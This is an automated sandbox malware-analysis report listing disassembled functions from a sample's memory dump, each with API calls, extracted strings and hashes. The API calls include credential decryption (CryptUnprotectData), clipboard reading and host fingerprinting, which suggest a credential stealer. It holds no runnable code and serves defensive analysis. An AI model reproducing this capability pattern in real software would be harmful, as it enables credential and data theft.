Opcode ID: b0442be8fbfaddd4d400ec01b602989528da55d0bda54cb2a5bd8dac2407de0e
Instruction ID: 2214ddb4aa977259affe9d128b542b83af94708bdbd03a589afbbb747fa6f94c
Opcode Fuzzy Hash: b0442be8fbfaddd4d400ec01b602989528da55d0bda54cb2a5bd8dac2407de0e
Instruction Fuzzy Hash: 43C264B56047408FD3248F25D891727BBF1FF86304F1885ADE4968B7A2D77AE806CB85

Function 0042F4DD Relevance: 21.2, APIs: 5, Strings: 6, Instructions: 1934COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042F89E
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 0042F986
GetPhysicallyInstalledSystemMemory.KERNELBASE(00000000), ref: 0043009C

Strings

,C, xrefs: 0042F4A3
*JZ, xrefs: 00430113
"JZ, xrefs: 004300DD
syrh, xrefs: 00430234
34t, xrefs: 00430C57
fjnr, xrefs: 0042F3C8
vNHF, xrefs: 0042F2F2
Y?^i, xrefs: 0042EC80
'Rx/, xrefs: 0042F5FB
kk, xrefs: 004309D6
ODIF, xrefs: 0042ECDA

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: ComputerName$InstalledMemoryPhysicallySystem
String ID: "JZ$'Rx/$*JZ$,C$34t$ODIF$Y?^i$fjnr$kk$syrh$vNHF
API String ID: 1996838884-2606108540
Opcode ID: 69b1267634a027b30bf6912e36c04a49f7f474b4ea68692130fd7d15f13d2561
Instruction ID: 720d6aa5ae566c4ed92dd2e9e444606c90beba08f29df70a540f1b78ea5a33a4
Opcode Fuzzy Hash: 69b1267634a027b30bf6912e36c04a49f7f474b4ea68692130fd7d15f13d2561
Instruction Fuzzy Hash: C1D2D775604B818FE7258F35D4A07A3BBE1AF57304F4889AEC0EB4B782D779A409CB15

Function 0043A97E Relevance: 19.8, APIs: 9, Strings: 2, Instructions: 587
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(?), ref: 0043A9E1
SysAllocString.OLEAUT32 ref: 0043AA7E

Strings

;:54, xrefs: 0043AFFE
;:54, xrefs: 0043AF35

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: AllocString
String ID: ;:54$;:54
API String ID: 2525500382-2193779323
Opcode ID: 5a2d59dda4199b9ba7836554c8fddcc4131909e2c835070e86cdbcb1c4dc86dd
Instruction ID: 2cdab4973b36a2ceba13e1940af5890ec94b31d07d7f00d7a7e93af7ed3afa87
Opcode Fuzzy Hash: 5a2d59dda4199b9ba7836554c8fddcc4131909e2c835070e86cdbcb1c4dc86dd
Instruction Fuzzy Hash: 9012657AA00701DFD724CF25D880B2AB7B2FF8A300F14856DD5968B7A1D739E816CB84

Function 00426800 Relevance: 13.4, APIs: 1, Strings: 6, Instructions: 1152COMMON

Download Yara Rule

Strings

;:54, xrefs: 0042683C
P, xrefs: 0042690D
InA>, xrefs: 00426A50
InA>, xrefs: 004268A0
bqB, xrefs: 00427152
SV, xrefs: 00426914

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID: ;:54$InA>$InA>$P$SV$bqB
API String ID: 0-3637656280
Opcode ID: 1fe632dc048b197257461048574386dac656c9afb9c8ab4459265dd05189564e
Instruction ID: efe4a20678031bc524173eeb0d2e1288ac060935f4558c6973bec6d73e9da576
Opcode Fuzzy Hash: 1fe632dc048b197257461048574386dac656c9afb9c8ab4459265dd05189564e
Instruction Fuzzy Hash: 85821475E04225CFDB04CF68DC816AEB7B2FF4A311F1981A9D941AB391D739E842CB94

Function 0041D5AF Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 404
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0041D87D

Strings

;:54, xrefs: 0041D5E1, 0041D5F8
J, xrefs: 0041D70E
r, xrefs: 0041D739

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: ;:54$J$r
API String ID: 834300711-2889753551
Opcode ID: b8fbcdff2cf27d6daa97ffa3dab79fbbf3af2ef6e8a916c70c28e25c9d54df8d
Instruction ID: 1e6a48387384232ca1d9aaf70156626af773b6e64c63cef5257967e80691cf26
Opcode Fuzzy Hash: b8fbcdff2cf27d6daa97ffa3dab79fbbf3af2ef6e8a916c70c28e25c9d54df8d
Instruction Fuzzy Hash: 27D106B5A083409FD724CF24C8917ABB7E1EF96304F04892EE5DA87392D778D941CB96

Function 00426F82 Relevance: 5.8, APIs: 1, Strings: 2, Instructions: 524
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

;:54, xrefs: 00426FE8
bqB, xrefs: 00427152

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID: ;:54$bqB
API String ID: 0-2071309610
Opcode ID: 263537fe2a8df3ec3f14dcc44ec227b89241fc27fa4e8899ccdf581fb29b93dd
Instruction ID: fa4f063e5c1a2739215ee5b4adf56ea63b9745041435cfc788aeb297095a9e3c
Opcode Fuzzy Hash: 263537fe2a8df3ec3f14dcc44ec227b89241fc27fa4e8899ccdf581fb29b93dd
Instruction Fuzzy Hash: 6BF144B6E01215CFDB04CF68C8817AEB7B2FF89305F298169D905AB391D779D902CB94

Function 004359B7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00435A05
GetSystemMetrics.USER32 ref: 00435A14

Strings

, xrefs: 00435AE8

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 7ebe9ada2b944e2a605cbf6a1b9a2adb3c02393c48b07d7d3b47b36bb3546d83
Instruction ID: af170d9abb170c5f9c5b4b0cc02af21999a26d1706b44f637ddae32c9d32eadc
Opcode Fuzzy Hash: 7ebe9ada2b944e2a605cbf6a1b9a2adb3c02393c48b07d7d3b47b36bb3546d83
Instruction Fuzzy Hash: 275180B4E142048FCB40EFACD98169DBBF0BB49300F10856EE898E7350DB74A945CF96

Function 00440D90 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(004440E0,005C003F,00000002,00000018,?), ref: 00440DBE

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 004441F0 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 03a99d87a2b41afe7c87664c657482e911ea18831468bda48fd0c6a37a8fb2b2
Instruction ID: 3fa07f6db641d71a0473f50ea65704cafb772fe890b3affdcce6dfd07b14b487
Opcode Fuzzy Hash: 03a99d87a2b41afe7c87664c657482e911ea18831468bda48fd0c6a37a8fb2b2
Instruction Fuzzy Hash: 26414636704300AFE7148B599CC1B3B77A6AFD9B04F19402EEA815B7A1D6B5EC048789

Function 004413D5 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c50a3ff0d1de7391cf4100277f546ca23f53629a5a530595b00d458c2c75fd9
Instruction ID: 8c003f9823dd69ea712ad3b12e21b48027cbc909d67c67ab34576fa10d6e70ee
Opcode Fuzzy Hash: 4c50a3ff0d1de7391cf4100277f546ca23f53629a5a530595b00d458c2c75fd9
Instruction Fuzzy Hash: B8212B796083109FE3149F1884D057773A1EB9B329F15163ED592573B2C338AC85DB5E

Function 0044137E Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8d17ee3c5b0249c4511545cef8028621f6b40edad453890fbf9e24c95996764
Instruction ID: f199c747c52a9adc49da1807b431ea695ec0528af7265f3209bd91b7ed0bd343
Opcode Fuzzy Hash: c8d17ee3c5b0249c4511545cef8028621f6b40edad453890fbf9e24c95996764
Instruction Fuzzy Hash: 1801D6386142409BE758DF25D8D18377352E79B358F24193ED193872B1C334A845CB1E

Function 0040D0B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0040D165
ShellExecuteW.SHELL32(00000000,81368735,00448050,?,00000000,00000005), ref: 0040D249
GetForegroundWindow.USER32(?,00000000,00000005), ref: 0040D24F
GetCurrentProcessId.KERNEL32(?,00000000,00000005), ref: 0040D259
ExitProcess.KERNEL32 ref: 0040D279

Strings

ps, xrefs: 0040D1C4

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: CurrentProcess$ExecuteExitForegroundShellThreadWindow
String ID: ps
API String ID: 1013327911-2817149839
Opcode ID: 395947aa4596a6fdbf01b6e5e31911d6bd80a891b54674111b2221b4422230a7
Instruction ID: 802e53b9b5d3fab858b8c0f51e2b6f1987ae4d254ae5757ddd4a7fa400bb7844
Opcode Fuzzy Hash: 395947aa4596a6fdbf01b6e5e31911d6bd80a891b54674111b2221b4422230a7
Instruction Fuzzy Hash: D14108316183408BE714AB75981536FBBD69FC6314F158D2EE4C1EB2D2CE78C40A8B5A

Function 00440CC0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 79
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,00000000), ref: 00440D59

Strings

RD, xrefs: 00440D3D

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: AllocateHeap
String ID: RD
API String ID: 1279760036-1416026120
Opcode ID: f9da6b5eb551a4eb3825273e23e17b74b074d4dcce33d7eb076d9db6a9fcfe30
Instruction ID: 917b482b4b1a8382910e40b870116946ac0ab3381335ac39e00a72b089b8d08d
Opcode Fuzzy Hash: f9da6b5eb551a4eb3825273e23e17b74b074d4dcce33d7eb076d9db6a9fcfe30
Instruction Fuzzy Hash: A1018E71D19212CBE314AF75EC8492BBBA5FFCA341F18487DE48057211E634AC19C3EA

Function 00440F20 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 00440F76

Strings

2123, xrefs: 00440F62

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: ForegroundWindow
String ID: 2123
API String ID: 2020703349-208623094
Opcode ID: b210a30273bb33dd53bdeff02939b666426f70206f57e02b163fddc4f9f8c158
Instruction ID: dd62e8bd2cb4611141040fdff5c29f2e00b613cfc95a5b2aa94b2229cd067ee0
Opcode Fuzzy Hash: b210a30273bb33dd53bdeff02939b666426f70206f57e02b163fddc4f9f8c158
Instruction Fuzzy Hash: CFF028795082804BF310DB29D84122677A1E782319F04893EE5D1C3391C738C9058B0B

Function 004107F7 Relevance: 2.6, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004107F9
CoInitialize.OLE32(00000000), ref: 00410900

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 81c31d750177ce146e8527366045329e95e1cd398779ef2311c2f0a71d9e51a1
Instruction ID: abed82b44eab5e0305b69bf0d3f998583154d3816c8cbfe6d220a5d9129a85a7
Opcode Fuzzy Hash: 81c31d750177ce146e8527366045329e95e1cd398779ef2311c2f0a71d9e51a1
Instruction Fuzzy Hash: 3A319CF4C10B40AFD770AF3D9A0B6167EB4AB06650F504B1DF8E6966D4E330A4198BD7

Function 0040E1C0 Relevance: 1.6, APIs: 1, Instructions: 90
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(611D67ED,00000000,E3E2F9E0), ref: 0040E286

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f354ed4ba6b11e7200a9c2819eeba715480492adbba85cd9ccd0d76fe460f61b
Instruction ID: d211cc36a776a4650d6a25cec4ad6f3432bf0b80887fe1339dfabb32a98ff728
Opcode Fuzzy Hash: f354ed4ba6b11e7200a9c2819eeba715480492adbba85cd9ccd0d76fe460f61b
Instruction Fuzzy Hash: 86214478508380DBD314DF26ED426AF7BA1FBD6304F448C7EE18467253E739490A87AA

Function 0043DC40 Relevance: 1.5, APIs: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 0043DCCD

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: a0f17913f2525a0e0f8ffefbac48ff117ce078390c367a85a56a825d6d9baac1
Instruction ID: 9a37441ecb8038b1869d6f0b088ecbbae8f0e36ee8fdc8f39d9be2bbcf67dc69
Opcode Fuzzy Hash: a0f17913f2525a0e0f8ffefbac48ff117ce078390c367a85a56a825d6d9baac1
Instruction Fuzzy Hash: 470197BB65C3584FC7006F91EC986A6BBA4EFD1304F04403DD68046742DAFB6919C742

Function 00431859 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004318A4

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 4d478e6bdddb855f0a42b4350af7a0d5259f94e12a6cec9b326f29541d1672a7
Instruction ID: 3c9e977c450c4f135c35c7a6bcfc28f59b32f7b5f649b834322db586f9a604c7
Opcode Fuzzy Hash: 4d478e6bdddb855f0a42b4350af7a0d5259f94e12a6cec9b326f29541d1672a7
Instruction Fuzzy Hash: E9F074B12097029FE311DF65C5A574BBBE5BB81304F10891CE4E54B290C7B9A6498FC2

Function 00434A7F Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00434AC3

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: dd8744f0049f0022a9c290567ed1ddad564596e0051cb20ad7bad07382e971d4
Instruction ID: c572d4cf98657ec48b104726610bbd336e2b736b7c73d1d011650ea931ce08df
Opcode Fuzzy Hash: dd8744f0049f0022a9c290567ed1ddad564596e0051cb20ad7bad07382e971d4
Instruction Fuzzy Hash: A8F022B450D341DFE721DF29C5A871ABBE0BB85344F118A1CE4988B290D7B995498F82

Function 00440F68 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00440F76

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 13940e78a7961238caf54405e98899f048eea334418077796825dba2beec2cee
Instruction ID: 1d22e8fd700c48bebeffbf26d2c2cf474de0d3d9f3e244df8e013e987bfa5a4a
Opcode Fuzzy Hash: 13940e78a7961238caf54405e98899f048eea334418077796825dba2beec2cee
Instruction Fuzzy Hash: 04E08C7D6102408FE604DF25EC9142537A4F70B20A700083EE583D3362DF35E640CB0A

Function 0043A952 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043A965

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 677f9b71905706cf16ce5804c70032b7d76d069880a4bf33d681318f7dfbb6f8
Instruction ID: 08e963fcd4019adc8e60d466b8283255b1915ff9cc04a16a63baa1f472e6b219
Opcode Fuzzy Hash: 677f9b71905706cf16ce5804c70032b7d76d069880a4bf33d681318f7dfbb6f8
Instruction Fuzzy Hash: A8D09234381700ABE2318B14EC56F15B3A1BB4AF02F204458F7866F9E0CAF1BA118B08

Function 0043DC18 Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00000000), ref: 0043DC24

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 523f707672c80aeae4c87f4b2abdfa20849dd833f8c33325c04bbf3597a922fb
Instruction ID: ca62b0fe6bc361b8fe52465035c8e03aaa158e12bb5b8da0d05e115494f84301
Opcode Fuzzy Hash: 523f707672c80aeae4c87f4b2abdfa20849dd833f8c33325c04bbf3597a922fb
Instruction Fuzzy Hash: 46B01234146110B8D03117120CC5FFFAD7CBF43F99F102014B204240C00754A001D07D

Non-executed Functions

Function 00BB5250 Relevance: 35.4, APIs: 4, Strings: 16, Instructions: 422COMMON

Download Yara Rule

APIs

std::_Facet_Register.LIBCPMT ref: 00BB535D
std::_Lockit::_Lockit.LIBCPMT ref: 00BB5568
std::_Lockit::~_Lockit.LIBCPMT ref: 00BB57A1

Strings

w^[I, xrefs: 00BB574D
WM, xrefs: 00BB54A2
v^[I, xrefs: 00BB571D
v^[I, xrefs: 00BB5538
WM, xrefs: 00BB5533
WM, xrefs: 00BB533D
WM, xrefs: 00BB5490
v^[I, xrefs: 00BB5320
0FJ, xrefs: 00BB5757
0FJ, xrefs: 00BB5332
v^[I, xrefs: 00BB54B0
v^[I, xrefs: 00BB5763
0FJ, xrefs: 00BB532B
w^[I, xrefs: 00BB53A0
v^[I, xrefs: 00BB54F1
v^[I, xrefs: 00BB577B

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: std::_$Lockit$Facet_Lockit::_Lockit::~_Register
String ID: v^[I$v^[I$v^[I$v^[I$v^[I$v^[I$v^[I$w^[I$w^[I$0FJ$0FJ$0FJ$WM$WM$WM$WM
API String ID: 878851027-139137744
Opcode ID: f08bceee975cf997faea1afb0c8170025138868427c92bdf9f81817beda6ccd2
Instruction ID: 192f313dfa5d013ff816be086c14c440fca8ba15a451cac2d28b25c3d1cf6bc0
Opcode Fuzzy Hash: f08bceee975cf997faea1afb0c8170025138868427c92bdf9f81817beda6ccd2
Instruction Fuzzy Hash: 3AD17C36F105058FDF08CA79C8963FF7BE39BA9304F199069E805EB351C9AB8C068B51

Function 00435210 Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 120clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00435220
GetWindowLongW.USER32 ref: 0043524D
GetClipboardData.USER32 ref: 0043525D
CloseClipboard.USER32 ref: 0043539E

Strings

_, xrefs: 004352D0
K, xrefs: 004352EE
L, xrefs: 00435307
I, xrefs: 00435302
X, xrefs: 004352F3
Y, xrefs: 004352E9
V, xrefs: 004352DF
N, xrefs: 004352FD
], xrefs: 004352D5
V, xrefs: 004352E4
q, xrefs: 004352CB
Y, xrefs: 004352DA

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID: I$K$L$N$V$V$X$Y$Y$]$_$q
API String ID: 1647500905-2073889574
Opcode ID: 3d708e7702e4bf70994ea5c2850c4c62ff3c90e47989a721377a01ee830012d2
Instruction ID: 5f54679d46b1477f2188d147cccf107156d33419d86dcd770f9b8ea5c9be5ebf
Opcode Fuzzy Hash: 3d708e7702e4bf70994ea5c2850c4c62ff3c90e47989a721377a01ee830012d2
Instruction Fuzzy Hash: 59419F7150C781CFE300AF78D48836FBFD0AB96358F04486EE9C986382D6BD8548876B

Function 00401000 Relevance: 19.5, Strings: 14, Instructions: 1989COMMON

Download Yara Rule

Strings

, xrefs: 0040379B
, xrefs: 004037A2
, xrefs: 00403826
, xrefs: 00403794
0123456789ABCDEFXP, xrefs: 004013EC, 0040145F
-, xrefs: 00401CCD
, xrefs: 004037A9
gfff, xrefs: 00401DBF
, xrefs: 004037B0
gfff, xrefs: 00401D18
gfff, xrefs: 00401D75
gfff, xrefs: 00401D03
, xrefs: 0040378D
0123456789abcdefxp, xrefs: 004013FA, 0040146C

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $ $-$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff$gfff$gfff
API String ID: 0-3131871939
Opcode ID: 8d5e88b3c21fcc771f24b2529e4533188e40b42acd8efb67ea5d129d5fbbf216
Instruction ID: 82a1047e918a4e78821797639cc0c6063c4209a2a2cc243c20951bfdc3e4a492
Opcode Fuzzy Hash: 8d5e88b3c21fcc771f24b2529e4533188e40b42acd8efb67ea5d129d5fbbf216
Instruction Fuzzy Hash: 0DE2D2716083418FC718CF28C49436BBBE2AF95314F18867EE495AB3D1D778D949CB8A

Function 004012D5 Relevance: 16.0, Strings: 12, Instructions: 987COMMON

Download Yara Rule

Strings

0, xrefs: 004021FF
0000, xrefs: 004027A5
0000, xrefs: 004027B3
@, xrefs: 004029AF
0, xrefs: 00402449
i, xrefs: 00402A7E
0000, xrefs: 004027C1
0000, xrefs: 004027C8
0000, xrefs: 0040280E
0000, xrefs: 004027BA
0, xrefs: 00402151
0000, xrefs: 004027AC

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID: 0$0$0$0000$0000$0000$0000$0000$0000$0000$@$i
API String ID: 0-3385986306
Opcode ID: 463e9afdf012da67d84867e87a37cec8d83071b3943f87856e8a01a6767cd0ff
Instruction ID: 43567f08c2414d3a819ad9695f197ad83829e26c61288a5e6a0b7cb6c91f239b
Opcode Fuzzy Hash: 463e9afdf012da67d84867e87a37cec8d83071b3943f87856e8a01a6767cd0ff
Instruction Fuzzy Hash: 8282D5756093418FC719CF28C69431ABBE1AB85304F18896EE8D5A73D1D3B8DD05CB8A

Function 0042AA40 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 523COMMON

Download Yara Rule

Strings

t|, xrefs: 0042B4CF
gw, xrefs: 0042B4BF
;:54, xrefs: 0042B75C
D4'2, xrefs: 0042B66E
3L,S, xrefs: 0042B67E

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID: 3L,S$;:54$D4'2$gw$t|
API String ID: 0-148604455
Opcode ID: b6a5bcbc9e7952400bc449c7c29792027bb1d80a963eeb7271538c153ee93d5e
Instruction ID: 33cda5058ecfcda83a8ae49a4051d765de37c74bc4d0c890624df7c0bc77531d
Opcode Fuzzy Hash: b6a5bcbc9e7952400bc449c7c29792027bb1d80a963eeb7271538c153ee93d5e
Instruction Fuzzy Hash: 99F122B66083508FD3249F25D88166BBBE1FFC6315F448A2DE5C59B391D7788901CB86

Function 00BD508B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00BD4A5C,00000002,00000000,?,?,?,00BD4A5C,?,00000000), ref: 00BD5124
GetLocaleInfoW.KERNEL32(?,20001004,00BD4A5C,00000002,00000000,?,?,?,00BD4A5C,?,00000000), ref: 00BD514D
GetACP.KERNEL32(?,?,00BD4A5C,?,00000000), ref: 00BD5162

Strings

ACP, xrefs: 00BD50A9
OCP, xrefs: 00BD50DF

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

